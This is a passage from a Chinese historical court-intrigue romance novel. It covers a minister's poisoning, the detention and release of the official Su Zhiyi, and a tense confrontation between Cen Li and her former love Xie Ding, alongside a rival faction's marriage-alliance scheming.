阳曲的那本无名账册还没查清楚,他们才刚刚有了怀疑人选,这御史中丞便暴死家中,实在让人深思。 只是看着六神无主的李妢,岑篱也不敢放她一人回去,只带着她一起回了苏府。 刚一进府,便遇到了来宣旨的小黄门。 原来那御史中丞家的管事招认,他从吕家工坊铺子出来的时候,正好碰到过苏廷尉。后者对着玉算筹很有兴趣,非但仔细询问,还拿出来把玩过,也有下毒的机会。 李妢本想要替吕家父子陈情,未曾想她以为的主案人竟也面临牢狱之灾,一时之间懵在了原地。 却不知那来宣旨的小黄门也是心底打鼓。 都是宫里呆过的,知道这位阳嘉郡主简在帝心,宣旨来拿郡马实在不是个好差事。他登门之前还特意问过郡主不在,未曾想竟这么撞了个正着。 因而宣完正崇帝口谕后,他不免又陪着小心解释,“郡主容禀,此事绝非是为难苏廷尉。堂堂御史中丞,竟然在自己家中暴死,陛下为此雷霆之怒,当朝便撂下话了,说是‘不查个水落石出,日后谁还敢在朝上做官’。这次叫苏廷尉过去,也是赶巧廷尉和案子扯上关系,去问问情况,协同查这案子的御史录些口供,待案子水落石出,廷尉自然就被放回来了。” 岑篱拧着眉去看苏之仪。有阳曲那份账册在,她能大概猜到这是正崇帝和苏之仪联手演的一场戏,但真的要做到这个地步吗? 苏之仪轻轻拉了下岑篱的手,以示安抚,人已经上前一步领旨谢恩。 想要引蛇出洞,总得有点代价。 眼见着苏之仪被小黄门带走,还发着愣的李妢终于回过神来,一时竟不知道是该先着急,还是先安慰岑篱。 “……郡主。” 岑篱回过神来,出言安慰:“大娘子不必过于忧心 ,大娘子也听见了陛下对此事的态度,此案牵连入两名朝廷大员,不管谁判这案子,都不敢胡乱下定论。大娘子知晓吕掌柜和吕小郎君都是温厚性子,万不会做出这等事,既然如此,不若回家等着,等到案子查清楚,人自然被放回来了。” 李妢明显还想再说什么,但想着刚刚被带走的苏之仪,只能压着心绪应了声“是”。 岑篱不放心她自己回去,打发着寻夏送人。 上次在秋禊时寻夏和李妢见过,两人更熟悉点。 转头又交代拾春,“你抽着空去谢家跑一趟,若是兰君有空,让她多找找李大娘子,去帮着开解一二。” 拾春本来还颇为忧心,但看着岑篱这镇定吩咐的模样,倒是把心放回肚子里了。 只是忍不住暗自低叹一句:果真是不一样……数月前,谢郎君出事的消息传来时,她可是亲眼见过,郡主是怎么六神无主的,便是再怎么竭力维持表面平静,也掩不住眼底的慌乱,哪里有现在这样,还有心思考虑周全别人。 * 谢府,谢兰君正招待着刘氏。 刘氏倒是个守信之人,那日在阳曲答应帮谢定做媒,刚回到京城没几日,就迫不及待地带着数牍画像上了门。 谢兰君心情不免有些沉郁,但还是扬起了笑招待对方。 刘氏这会儿正在兴头上,倒没注意到谢兰君的笑不由衷,而是热切地拉住了谢兰君的手,“……要我说,外人哪有自家人知根知底,亲上加亲才是好事。我这侄女可是个实心眼,平素里在家,爹娘叫她往东她绝对不往西,是十里八乡有名的孝女,进门之后也绝对能侍奉好夫君……她不识字,只堪堪认得几个数,你耐着性子教教她,她说不准能囫囵看点账册,不过这样有这样的好处,兰君你放心,等她入了门,没有姑嫂之争,这个谢家还是你掌家!” 谢兰君听得拧眉,“叔母误会了。长嫂入门是好事,若是长嫂能够打理家中上下,我高兴还来不及,怎会心生嫌隙。” “是是是!你说的是,”刘氏接连点头应着声,口中却仍旧扯着这个侄女不放,“你家这一支人丁单薄,比起家业来,绵延子嗣才是要紧事。女大三抱金砖,我这侄女虚长你大兄几岁,又是身子骨硬朗,大冬天的都能下河,绝对是个好生养的!” 谢兰君听得一愣。 因为家中无合适长辈的缘故,她和兄长的婚事耽搁了好些年,以时下的风尚,比兄长还年长却没定下婚事的女子极少。谢兰君隐约想起,三叔母的族兄家中好像有个幼年便痴傻的女儿,一直没能议成亲事。 刘氏先前的话在脑子里转过一边,谢兰君脸色一阵青一阵白。 她一把甩开刘氏的手,语调冷下,“叔母若是不愿做这个媒,直说便是,犯不着在这里愚弄我们兄妹。” 见谢兰君如此,刘氏也慌了神,连声道着:“兰君你误会了!叔母也是为你考虑啊!兰君你还年轻,不知道这家宅里的事可没那么简单,小姑子和长嫂的关系处得不好,闹不好你日后就得了有家不能回。” 怕谢兰君立刻就轰人走,她说着话,又拿起了手上的木牍。 “你瞧瞧这个,易溪侯家的女儿,身份够了,可人家家里讲排场。我可找人打听过了,这薄娘子打小便挑剔,非蜀锦的料子不穿,非南海的珠不戴,这么个娘子娶回来,是娶婆娘啊,还是请祖宗?况且前几日还闹出事来,这薄娘子和胞妹抢一件衣裳,把人推水里去了,这连亲生妹妹都容不下,何况小姑子?” 又翻另一张,“这是长安令家的姑娘,这姑娘是知书达理又性子温善,可她身子骨不好啊!还没入冬呢,长安令府上已经开始张榜寻医了……这太常博士家,他家是家学渊源,家里的女儿在长安也才名远播,但是你大兄那个性子,是能和人坐下来谈论诗词的吗?” 刘氏说得头头是道,越说越觉得自家侄女是个好选择,连自己那点儿私心仿佛都退居于后,是个实打实为兄妹二人着想的好叔母了。 她又接着往下翻了一张木牍,口气越发中肯,“再说这屯骑校尉家的长女,这大娘子人是不错,性子好又是武官之女,想来也和你兄长聊得来,可是她克夫啊!从第一个蔡家的未婚夫被她克死了之后,之后接连议亲,不是——” “够了!”谢兰君脸上显出些厉色,沉声,“叔母莫要在这信口开河。那蔡郎君自幼体弱,早在病故之前,便由长辈做主解开了婚事。一年后蔡郎君病逝,确实令人痛心,但这事又与李姐姐何干?后有数次议亲,不过是家中有些波折,亦或者八字未能合好,也是各自嫁娶,互不干涉,这‘克夫’一说从何而来?!叔母还是被不要妄传流言,败坏女儿家名声。” 刘氏还待说什么,已经被谢兰君客客气气但不容拒绝地请了出去。 待送走了人之后,谢兰君却在门口发起了呆。 她方才因为刘氏的话生气是真的,但是是否有借故发挥,故意将人赶走的意思,谢兰君自己也说不清楚。 “怎么了?我刚才瞧见三房的马车了,他们又给你找气受了?” 原是谢定不知道什么时候回来了。 谢兰君掩下表情,抬头故作轻松地,“没什么。叔母方才来说了说亲的事。” 谢定了然,“没有满意的?还是那边又耍什么花招?你也不必事事听她,不管日后怎样,我这个当兄长的总不会让你受委屈。” 谢兰君:“……”兄长对三房一家还是颇为了解。 但谢定这全不像谈自己亲事的态度,又让谢兰君心底一阵不是滋味。 谢兰君含糊着把话题推过去,问:“兄长此时才回来,可是朝中出了什么事?” 确实有事。 御史中丞暴死家中,京畿昨夜就戒了严。 不过谢定晚回来却不是因为这个,他也没瞒着谢兰君,“我刚才去了一趟李校尉府上。” 谢兰君心底一跳,她强自掩下情绪,问:“那兄长可见过李姐姐了?” 谢定被问得莫名,但想想自己以前颇受李舂照料,小妹也似乎和那李家的女儿关系不错,又心下了然。忆起了那擦身而过马车,他迟疑着,“进门的时候碰到了,那应当是李家女儿的马车,她正巧出去了。你要是想去找人,最好去先遣人递个帖子问一问,别扑了个空。” 谢兰君不知道自己抱着怎样的心情,才轻声应下那一句。 “……好。” 二人是见过了? 第28章 是夜,长安落了一场薄雪。 今年的冬日来得格外早,这一场雪下了,温度骤降,像是一下子入了冬,前些日子还张罗着做秋衫,转瞬便得翻出的冬日的厚衣裳。 岑篱没能睡好,半夜凉气涌上,本已经许久都未犯毛病膝盖又刺痛起来,被惊醒后翻来覆去都没能成眠。还是守夜的拾春被翻身的动静惊醒,现命人烧了热水,焐热的汤媪隔着一层被子放在榻上,被这暖意熏染,岑篱才缓过来一点,在接近天明的时候迷迷糊糊地睡了一小会儿。 与此同时,朝堂上传来的消息也不好。 御史中丞案发,苏之仪被叫去问话之后,便被扣留在了廷尉府,先前在苏之仪手上吃了大亏的诸多勋贵却不会放过这个机会,纷纷趁机进言。 先是栾都侯上奏,言其幼子侵占皇陵之事乃是苏之仪屈打成招、胡乱捏造,奏报直接禀到御前,要求长安令重新审理此案,又因为事涉皇陵,连太常寺都惊动了。有这么一位重量级的人打头,其余人等也闻风而动,纷纷叫冤,一时之间,被囚在廷尉府的苏之仪成了众矢之的。 岑篱虽然知道苏之仪肯定早有准备,但见此状况也忍不住皱眉。 她把五铢叫来,“你家郎君走之前都做了什么布置?” 五铢:……听听这生疏劲儿,连“夫君”都不是,他就说郎君早把补汤喝了便没事了。 脑子里面不着边际的转着这些,口中却不耽误回答:“ 郎君同小的说过,等这一阵儿风头过去就好,郡主且耐心等待。” 岑篱拧眉,“那他可说过,这阵风会大到这程度?” 人力终有尽时,再怎么谋划算计,终有百密一疏之时。岑篱在宫中见多了聪明人,从不相信世上有什么万全之策。 五铢被问得一下子滞住了。 说实话,郎君不在府上,他心底也没个着落。 不过对于岑篱的问话,他还是坚持着,“郡主容禀,郎君一向有自己的打算,小人对此也知之甚少。” 这话可信度着实堪忧,五铢跟着苏之仪时间够长,许多事情就算不交给他办也要他经手,他就算不知道全部,也知道大半。但就他所知的那大半,他猜郎君多半是不想郡主知道的。 因而顿了顿,他又补充道:“陛下对郎君自来颇有照拂,必定明察秋毫,不会冤屈的郎君的,郡主放心。” ……正崇帝的“照拂”? 岑篱淡淡地笑了声,“你知道先戾太子是怎么死的吗?” 五铢被笑得心底一凉。 他猛地抬眼看过去,磕巴着:“郡……郡主?” 岑篱只是垂着眼看他。 五铢干咽了一口,他小心环顾四周。 这事过去还没多久,相关话题在这长安城内也不大不小是个禁.忌。 但岑篱像是早有打算,把人都打发到周围守着,身边只留了一个最亲信的婢女。 有见于此,他才压低了声音,小声回答:“戾太子是因为巫蛊作乱,意欲谋害圣驾,被发现后畏罪自尽狱中。” 岑篱淡着声,“不,他是被逼死的。” 五铢觉得自己仿佛是窥见了什么皇室隐秘。 当年的事牵扯甚广,但凡沾了点边的都没有好下场。知道得越多死得越快,五铢这会儿只恨不得自己是聋子瞎子、 岑篱倒也没有故意挑起这话题而已,只是有感而发罢了。 她掩下眼底的哀意,沉着声低道:“真的任由事情发展到一定地步,陛下是不会保任何人的。” 正崇帝和先皇后感情很好,二人之间只有楚元公主一个独女。戾太子……或者说当年的太子,是宗室过继而来的。 但虽是过继,他也是被正崇帝亲自教养长大,与亲儿子也没甚分别。岑篱和这位小舅舅年岁相仿,还在宫中的时候,感情颇为不错,她知道这位小舅舅是绝对不可能做出巫蛊帝王的事的。 正崇帝也知道,他甚至知道是谁下的手:既然皇位的继承人能从宗室过继,那么为什么必须是现在的太子呢?为什么不能是别人呢? 正崇十一年的朝堂是一潭彻彻底底的浑水,喧嚣鼎沸之声可比现在热闹多了。 压垮骆驼的最后那一根稻草却不是栽赃构陷,而是宗室内对太子的支持之声。正崇帝骤然意识到,太子也是出身宗室……等这么一位由出身宗室又得宗室庇佑的太子上位,他真的会去削弱诸侯?他不会的。 于是,太子自缢了。 同年,后宫大选。 第二年,真正的皇长子出生。 岑篱却只是觉得冷,彻骨的冷意冻结了血液,仿佛回到了她刚刚入宫的那一个冬日。 她亲眼目睹的父慈子孝最后却是这样一场结局。 都是假的吗? 那又什么才是真的…… 也就是那一年,她从宫里搬了出来。 倘若继续住在宫里,她怕自己会慢慢疯掉。 …… 回忆似乎让窗外的薄雪又添了一层寒意,岑篱拉回心神,抬眼看过去。 被那冰凉的眼神看得打了个寒噤,五铢最后还是磕磕巴巴地交代了一部分实情。 原来万老三的指证是苏之仪授意的。 栾都侯的事他有把握解决? 岑篱听了一会儿五铢的解释,缓缓颔首,“好,我知道了。” 既然朝中的指控苏之仪都有后手,那关键还是御史中丞的案子。 正准备再细问,外边有人来禀报,拾春附耳在岑篱旁小声说了几句,岑篱面露意外:居然是谢兰君来了?李大娘子那出事了? 五铢忙不迭地提出,“既然郡主有事,小人就先退下了。” 得到颔首示意后,五铢如蒙大赦地退了出去。 郡主再问下去,他真不知道会不会说出些不该说的了。 …… 谢兰君不单单是一个人来的,还带了单女医。 “我早些时候把岑姐姐的症状同单医说了,昨夜突然下雪,单医说姐姐你可能不好受,我放心不下,就过来看看。岑姐姐你觉得怎么样?” 岑篱心下一暖,心底因为回忆生出的寒气都消解了许多。 她柔着声,“兰君有心了。昨夜是有些疼,但用了汤媪就好多了,今早起来只有一点刺痛。” 谢兰君让单女医上前诊了脉,又屏退了众人看了双膝的情况。 从外表看不出什么异状,单女医详细问了岑篱疼痛的情况,给岑篱开来两副药,一则外敷一则内服。 “内服的这药是慢慢调养的,无甚大碍。但外敷的这药草药性重,许多人用了浑身起红疹子。我把药方给郡主留下,郡主让人先按三分药量去抓药试试,若是可以,便在此之上慢慢加量。若是不行,郡主只管差人去找我,我再调整方子。” 拾春在旁边仔细记下,又详细询问单女医煎药的法子。 岑篱倒是注意到谢兰君像是有心事的样子。 但问起来,谢兰君却只是摇头。 岑篱犹豫了一下,也没有追问下去。 被御史中丞的案子绊住,她也一时也抽不出心神来去想别的。她琢磨着等这个案子了结,若是谢兰君还这么心事重重,再找个时间和她好好聊聊。 说起案子来,岑篱不由又问:“兰君你这几日也去过李府了吗?李大娘子那边怎么样?” 谢兰君:! 岑篱疑惑地看她。 吕小郎君和李妢的事八字还没一撇呢,为了两人的名声,岑篱也不可能对外张扬,因而那日让拾春交代谢兰君时候,说得十分模糊。 谢兰君咬了一下舌尖,镇定下来,“岑姐姐怎么突然关心起李大娘子了?” 老天知道她那日刚听了兄长和李家姐姐见面,紧接着又接到拾春的嘱托,心情的复杂程度。 岑篱却早准备好了理由,“我前几日和李大娘子遇见了,两人聊得颇为投契,只是李大娘子因为近来境遇,心情颇为郁郁。我想着你和她相熟,可以多劝劝。” 谢兰君:“这、这样啊……李姐姐确实有些焦躁,但我瞧着精神还好。” 得到安心答案的岑篱暂时把这事放下了,送走了谢兰君后,她也让人去调查了御史中丞府邸附近转转。 如今将御史中丞府上团团围住正是谢定的部下。 同样对这个案子颇为挂心的谢定一眼就认出了人群中的景九,纵然心里早有准备,他也忍不住暗地里磨了一下牙。 阿篱让人来这里干什么? 总不能是搜集证据,准备弄死苏之仪吧? 为免待会被找上来“行方便”,谢定没再留在这附近了。 他低声吩咐戍卫看住了、别“随随便便”放人进来,自己则是抬脚离开。 只是人回到府上,还是一阵胸口发堵,脑海中控制不住回想起阳曲所见,那股气非但没有纾解,反而越发暴虐起来。 他起身准备去演武场排解一二,抬眼却看到有家仆送信过来。 谢定伸手拦了住,“哪来的儿?” 本来以为是公事,却听那仆从回:“回禀郎君,是苏府的,送给小娘子的。” 谢定动作一顿,某个念头在心底浮现。 片刻后,他一脸正色地开口:“兰君出去了,今日一整日都回不来。这么晾着人也不好,你差人去回个口信吧,就这么说……” 第29章 单女医那外敷的很有效果,但确实如她说的,药性太重。 岑篱只用了三分的药量,止了疼却浑身都起了红疹,多亏了拾春一直在旁边盯着,只敷了小半刻钟便及时撤下去,才没出大事。 这事自然要知会单女医的,怕传口信的人说不清楚,岑篱把这症状详细写了,给谢兰君送过去。 却未想到,对方差人送回口信,竟是约在酒肆里见面。 岑篱有点摸不着头脑。 但犹豫过后,还是选择依约 去了。 岑篱习惯了去酒肆的时候身边不带旁人,这次也不例外。 被伙计引着上了二楼,岑篱对照着木牌上的号码,推开房门。 但等看到里面的情形后,却愣在了原地。 雅间里面站了一个人,正背身朝门看着街景,手腕上绑着皮革的护臂将袖口收得利落,肩背挺得笔直,明明一身锦缎的绸衣偏偏被他穿出了凛然的锐利感。 仅仅一个背影,岑篱便一眼认出了人。 ——那个她不会认错,也不可能认错的人。 岑篱有点晃神,她下意识地走进来一步,顺手关上了身后的门。 谢定也转过身来。 窗外的光被他挡了大半,照在脸上映出了半明半暗的晦涩。 “怎么是你?” 谢定脸色一沉,他想起了那日酒肆伙计的话:她曾经和那人也约见在着酒肆之中。 他忍不住反诘:“你以为是谁?” ……当然是谢兰君。 岑篱回避开对面的目光,也想明白了那个奇怪的口信的原因,“你有事找我?” 她有意让语气显得生疏。 谢定脸色更难看了,他抬手往侧边大堂的方向指了指,“那天我就在酒肆的二楼里,看到苏之仪和御史中丞家管事的交谈,他并未碰到那算筹。倘若那姓苏的没有隔空下毒的本事,御史中丞的死便与他扯不上关系。” 岑篱意外抬头。 她当然知道苏之仪没碰算筹,但因为两人关系的缘故,她称不上证人。而路上行人来去匆匆,多半也不会注意这种细枝末节。 但若是谢定看见了…… 旁边突然传来一声冰凉的轻笑,谢定面带嘲讽,“你不会以为我这么说,是打算替他作证吧?我说了,我那日就在酒肆的二楼,看得很清楚。” 谢定说的当然不是戴管事和吕家工坊铺子的争执,而是岑篱和苏之仪。 岑篱也想起来,那日她是被苏之仪带着来寻旧日场景,她也确实回忆起了些事情。倘若谢定那会儿就在上面看着……岑篱神色僵硬下去。 她下意识想开口解释,但话到嘴边又咽下。 由着谢定这么误会下去,说不定是好事。 这突兀的沉默让房间内的气氛陡然压抑下去,岑篱半是躲避地侧了下身,“算了,既然如此……” 谢定还以为岑篱要走。 他一个跨步上前,抬起手臂撑到了岑篱的身侧,正正拦在岑篱和房门之间。 “算了?”他语气控制不住激烈起来,“你觉得我会这么算了?!” 离得太近了,熟悉的气息扑面而来,岑篱晃了一下神,模糊的画面在眼前浮现。 她好像在这里喝醉过。得知小舅舅出事的那日,她不愿意在宫中呆,浑浑噩噩地到了外面,遇到了谢定,然后被带到了这里。 酒意让周围的一切变得混沌,连痛苦都隔了一层,让人终于有了片刻解脱。 意识朦胧中,好像有人想要拦着她继续喝下去,她没有依从,然后……之后的记忆变得破碎起来,掌心下是炙热的躯体、唇齿被同样带着酒气的事物占据,并非酒液摇晃的水声在舌尖交.缠…… 岑篱懵住了。 她一时居然无法确定,这到底是臆想的幻梦,还是曾经真实发生的事。 她忍不住抬眼看过去,目光追寻地寻求确证。 但正在气头上的谢定却没注意到这点微妙的情绪,而是寒声接着:“你觉得我会如实作证,还是恨不得弄死他?不提这事,御史台这会儿正为着御史中丞的案子忙得不可开交,栾都侯幼子侵占皇陵的事交给了太常寺,我爹当年救过太常寺卿的命,你说我去找他,让他把这案子判成姓苏的编造构陷,他会不会答应?” 岑篱那点旖旎的心思霎那间散了个干净。 她愕然抬头,像是第一次认识谢定一般,惊愕:“你怎能如此?” “我怎么不能?!正崇二年,治粟内史断了我爹的军粮,子债父偿,我找他算账不应当吗?” 岑篱还是第一次听说这事,但眼下的情形却不容她细想,她脱口而出,“你最恨朝廷上的构陷诬蔑,现在也要做同样的事吗?” 谢定被问得哑了声。 苏之仪如今身陷囹圄,想要落井下石,是最好不过的机会,但他却到现在都还没有行动。 ……他不想变得和那些人一样。 谢定使劲闭了闭眼,正想要开口说话,却兀地看见了岑篱颈后的一抹红痕。 因为敷药的时间有限,疹子起得快消得也快,这会儿已经消去了。只不过起疹的时候实在麻痒,身上难免落下抓痕,被衣领挡住大半,只能透过领子立起来的缝隙窥见一抹暧昩的痕迹。 谢定脸色一下子变得极其难看,“他干的?!” 岑篱还没回过神来,“什么?” 撑在侧边的手按到了肩膀之上,岑篱被压得贴到后面的墙壁上,手指沿着脖颈的边缘挑开衣领,粗糙的指腹压在红痕上来回摩挲。 岑篱声音都变了调,“谢怀朔?!” 他知道自己在干什么吗?! 下意识的挣扎却被牢牢地禁锢在墙壁一隅,随着动作,衣襟散开更多,露出雪白的颈子。 谢定按在岑篱肩膀上的手又紧了紧,努力压下就这么将手下布料撕开的念头,他深吸口气,哑着声:“和离……你和他和离,我会救他。”颈侧的红痕被手指来回碾着,胭脂色的痕迹更大范围地晕开,他放软了声调,似乎是诱哄又是某种隐晦的威胁,“阿篱,同他和离吧。不然——” “你就要在这里折辱我吗?” 清泠泠的声音在耳边响起,像是兜头一盆凉水浇下,房间内氤氲的暧昩情绪一下子被冻结。 谢定低头看向岑篱,那双眼眸中一片冰冷的清明,哪有半分意.乱.情.迷。 柔软娇艳的唇.瓣轻启,却是清晰又冷然地,“谢怀朔,你放开我。” 谢定:“……” 谢定最后还是放手了,旁边传来门扉打开又阖上的动静,屋内安静地只余下他一人的心跳声。 许久,房门再一次被打开。 谢定猝然转头,但那期许的惊喜还未升腾到眼底,就被进来的人彻底打了碎,是酒肆的伙计。 “岑娘子说,有样东西送还给您,让您看着处置吧。” 是一个针线粗糙的荷包。那日被马蹄踩出的黑印被清洗了干净,可锦缎都勾丝却没法修补,连那值得称道的料子都被毁了。 谢定握住了那荷包,失而复得的喜悦只堪堪浮上心头片刻,就又被冰结。 此情此景,绝非是当年她赠出荷包的意思。 她是真的想要同他彻底斩断联系。 许久,谢定才哑声:“……给我上坛酒吧,要陈醴。” 醉眼朦胧间,他好似回到了那一日的酒肆中,只不过这次他也喝醉了。 既然醉了,就不必有清醒时的克制,他不似那日浅尝辄止地将人推开,而是真真正正地一亲芳泽…… * 谢定在酒肆里喝了个酩酊大醉,一直到快宵禁时才回了家。 晚间,在御史中丞府值守的戍卫来报,附近抓到了一个行踪鬼祟的人。 酒气才刚刚散去,但胸腔的郁气还郁积着,谢定亲自去审的。 但这人实在是个软骨头,才只把他往木头架子上一吊,还没来得及上刑呢,就一骨碌地全招了。 “饶命啊!饶命啊!!小的是御史中丞家奴,并非歹人啊!小的人在柳县的坞堡,主家那边每隔三日便要遣人去一趟,小的只是见这次已经隔了好几日没来了,才过来看看,真的不是歹人啊!!明公可以找主家的人对峙。” 这人竟还不知道御史中丞身故之事。 谢定眯了下眼,若有所思。 顿了顿,他抬手止住士卒挥起的鞭子,“你既如此说,可有印信?” 那人信誓旦旦的话一下子滞住了,好半天才支吾着,“小人常来御史中丞府邸,府中管事仆役皆可作证!” 如此频繁来往却没有印信,全凭认人。 麻烦是麻烦,却可以最大限度地避免留下证据。 谢定也参与过阳曲之事,隐约能猜到苏之仪如今的处境多半是故意下饵,但现下钓上来这条鱼却撞到了他的手里。 谢定心底确实有一瞬闪过“杀人灭口”“抹掉证据”的想法,让苏之仪彻底作茧自缚。但这念头只在脑海中飘过,白日里在酒肆对峙的画面便在眼前闪过,谢定脸颊侧的肌肉不自觉地绷紧——当年父亲险些因战败论处,他确实极厌恶在朝上 的勾结构陷之人。 好半天,谢定才开口:“带我去柳县坞堡。” 刚才还哀哀叫屈的仆人兀地止了声。 谢定扬了扬手,旁边士卒会意抬起了鞭子。 凌厉的鞭风响过,还不等落到实处,那人已经屁滚尿流地,“我带!我带!!” 第30章 谢定带人围了御史中丞在柳县的坞堡,从中搜出了钱币模具。这竟是个私铸钱币的工坊,阳曲的铜矿送到这里被铸为钱币,再行送出去。 得知此事败露,仍在狱中的戴姓管事终于松了口。 说是阳曲事发后,家中主人日夜忧惧,终于服毒自尽。他为府中管事,对主家私铸钱币的事也心中有数,怕事情暴露后牵扯自身,这才将毒.药涂抹到玉算筹上,伪装成他人毒杀,借机攀咬。 而与此同时,太常寺那边,原本信誓旦旦是自己借着栾都侯府的名头行事,只不过受廷尉指使才攀咬主家的万老三也突然改口,对着审理官员涕泗横流地,“是我不该啊!是那石家用我老母家小的命威胁我,让我认下这罪来,小人不敢不认!” 再问及为什么这会儿突然改口,他又连连叩首,“栾都侯在京城势大,和他作对的人都没个好下场,连朝廷里的大官都入了狱,小人一介家奴,怎么敢违抗侯爷的命令?” 又道是因为听闻了苏廷尉已经洗清了冤屈,不日便可出狱,这才有个盼头。 他满脸涕泪地,“有了廷尉做主,小人这才敢说实话!” 这万老三实际是个吃喝嫖赌无一不精的恶棍,但却长了一副憨厚老实的样子,又极擅长欺瞒,这会儿哀哀恳求的样子,当真让人心生恻隐。 而他这话不知怎么在外头传开了,整个长安民意沸腾。 在这样的情形下,苏之仪那些肆行枉法的指控不得不被压下,他就这么被从廷尉狱中放出来了。 苏之仪从狱中出来的时候,形容还算齐整。廷尉府毕竟苏之仪任职之所,他出来之前明显清理过一番,还有圣上恩准特意换上了公服,真似刚刚下值了一般。 但岑篱远远的一见,却看出他瘦了很多。 公服穿在身上空荡荡的,走得近了,还能看见微微凹陷的侧颊。 岑篱迎上前去,苏之仪却明显的一愣。 “怎么了?” “我没想到你会来。”苏之仪说完,顿了顿,像是强行找了个理由解释,“狱中多有秽气,沾染到你身上就不好了。” 岑篱倒是笑了,接话道:“家中备了艾草水,回去可得好好去去晦。” 苏之仪:“……” 家中吗? 好像回到了阳曲山洞中的那一晚,她在阑珊的火把中缓步走来。这一次依旧如此,却是接他回家。 胸腔中蓦地涌出一股暖流,整个人像是被浸到了温水里,连在狱中也没停.下的筹谋算计被抛在了脑后。 起码此时此刻,他脑海里想得只有一件事:回家。 几乎是不由自主地,长袖的遮掩下,他试探地抬手碰了碰岑篱的手指。 岑篱迟疑了下,最终没有躲开。 手指一点点穿过指间的缝隙,十指相扣,两人相携上了马车。 人群中,不知从谁处传来咬碎银牙的声音。 苏之仪被从恍惚中惊醒。 他似有所觉地回了一下头,但目光却只是匆匆从人群拂过,很快就转回了身边的人,动作温柔地扶住了上车的岑篱,“小心些。” 岑篱接着这搀扶,跨步登上马车。 抬手的一瞬间,衣袖向下滑落,露出交叠的一双手。裙摆旋出花一般的波浪,也不知道晃入了谁的眼中。 感受到那如芒在背的目光,苏之仪却微微翘起了唇角。 * 御史中丞私铸的钱币到底流向了何方,这事还得继续追查下去。 但岑篱却有另一个疑惑未解。 眼前之人极可能知道内情,岑篱稍作犹豫后,还是开口问了,“正崇二年,发兵匈奴之时,治粟内史断了北征大军军粮。这件事你知道多少?” 谢定不可能无缘无故地提出此事,这里面必然有什么缘故。 苏之仪深深地看了岑篱一眼。 岑篱:“我只是问问,你若是不愿说也无妨。” “我知道一些。不过不是从父亲那里听到的,而是这些年在陛下.身边整理卷宗时发现的。”苏之仪倒也未隐瞒,“你可知道赵王?” 岑篱确实对赵王有印象,“正崇二年,赵王携家眷入京。赵地偏远,他们阖家一路舟车劳顿,到了长安身体虚弱。恰逢长安城郊的时疫还未结束,他们一家都染疫……身亡?” 岑篱说着这些话,声音却越来越小,说到“染疫身亡”时更是不自觉上扬了调子,说成了问句。她被告知这些的时候年岁尚幼,自然是别人说什么是什么,可这会儿细细想来,便觉这事实在蹊跷得很。 苏之仪给出了背后的答案:“赵王谋反,阖家被赐死,尸体运送入京……只是正崇二年时,恰逢朝中多事,外患频频、内部也不安稳,陛下担心将此事宣扬开来,反而激起其余诸侯国叛变,便对外以染疫称之。” 赵王?赵地?! 岑篱霍然明白了什么,“那年谢侯正带兵屯于赵地。” 苏之仪轻颔了下首,“谢侯昔年是从赵王麾下起家,深受后者照拂,赵王谋反事发,朝中都怀疑谢侯已经暗中向赵王效力。陛下急诏谢侯从赵地退兵,消息发出后,却无一点音讯,朝中大半都以为谢侯已反,若非时任博士的太常寺卿一力陈情,还在京中的谢家家眷都要被以谋逆论处了。” …… 另一边,栾都侯府上也来了一位身份尊贵的客人。 虽然这位贵客穿着十分低调,有意不让人认出来,但能让已经闭门谢客好几日的栾都侯亲自出门接见,足以见他身份不凡。 来人似模似样地行了个晚辈礼,“听说世叔近日身体不适,恰逢侄儿近来得了一根百年老参,便赶紧给世叔送来了。” 栾都侯却无领情的意思,“世子好意,本侯心领了。至于说药材大可不必。” 他脸色蜡黄、神情憔悴,称病之说确然无疑。但此刻对于鲁王世子这亲自登门的殷殷探望之意,却全无动容之色。 鲁王世子却也未恼,只是抬手示意了一下,让正展示着老参的仆役把东西递给石家家仆。 栾都侯虽然心里憋着气,却也不敢真的就把鲁王世子晾在门口。 别的不说,单就被人撞见都不好解释。 待到入了内室,鲁王世子叹气,“侄儿知道世叔心中哀恸之意,只是此刻正是蛰伏之时,不可轻举妄动。” 栾都侯脸皮抽动了两下。 所以他就眼睁睁地看着幼子问斩? 对面鲁王世子又道:“阳曲出事,我等元气大伤,虽然及时处置了御史中丞,但事情还未彻底了结。若是真正被顺藤摸瓜,牵连到了石公身上,这才这是大事不成。小事不忍何以成大谋?还望石公明白这个道理。” 栾都侯沉默了好一会儿,嘶哑着声:“他日事成,我要让那苏之仪以血祭奠我儿!” 鲁王世子心底一松,知道栾都侯这是松口了。 他颔首,“这是自然。” 而贺文骞这一趟亲自登门,也并非单为了开解盟友的情绪,他是来确认柳县坞堡内的事的。 栾都侯:“都清理了,不该留的都没有留下来。” 阳曲那么大的事,不死个有分量的人,很难挡住正崇帝的怀疑。既然如此,不如祭一个御史中丞,再把事情全推到他身上,反正死人是不会说话的。 贺文骞笑道:“侯爷手下能人辈出,我一向放心。” 倒是对面的栾都侯皱起了眉,“那谢怀朔……我倒是没想到,竟是他去的柳县。” 贺文骞摇了摇头:“当年赵王之事,足以见谢家家风,有子如此也不让人意外。不过陛下却还是当年那个陛下,谢家愿意尽忠,却不知咱们陛下愿不愿意接纳。” 栾都侯眉头未展,沉声:“如今非在战时 ,我可没那个本事再截断一次军报了。” 自然也没法子像当年一样、让朝中误以为谢家已归了赵王。 贺文骞却笑:“侯爷也在京城呆了这么久,怎地还不知,这长安自有长安的法子。我听闻谢怀朔在议亲事,依侯爷之见,我这个鲁王世子和咱们这谢将军当个连襟怎么样?” 姻亲联结、互为盟友,这才是长安的法子。 栾都侯先是恍然,但片刻之后却拧紧了眉,“我族中尚没有年纪合适的女儿,若是再远些的……便没那么方便了。” “侄儿倒是有个想法,但要先同岳丈大人告个罪。谢怀朔和屯骑校尉素有私交,我的人先前看到谢家三房夫人去李家登门拜访。谢怀朔和家族并不亲近,若非议亲的大事,恐怕不会与之交际。” “李稷上?”栾都侯这么说着,脸色却未松缓,“这人冥顽不灵,我虽施恩与他,但有些大事却不能于他知晓。” 贺文骞却笑,“他不知是好事,不知者才心意最诚。” 栾都侯若有所思。 “那李家还有个庶女,我同侯爷告罪便是如此,倘若真的为此,我倒要先纳一位侧妃入门了……这可要惹得意锦闹气了。” 栾都侯却是浑不在意地挥手,“这般大事,哪里由得她闹小女儿脾气?回头让她母亲去劝劝就是。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 谢定终于还是从李舂那里问出了当年的旧事。 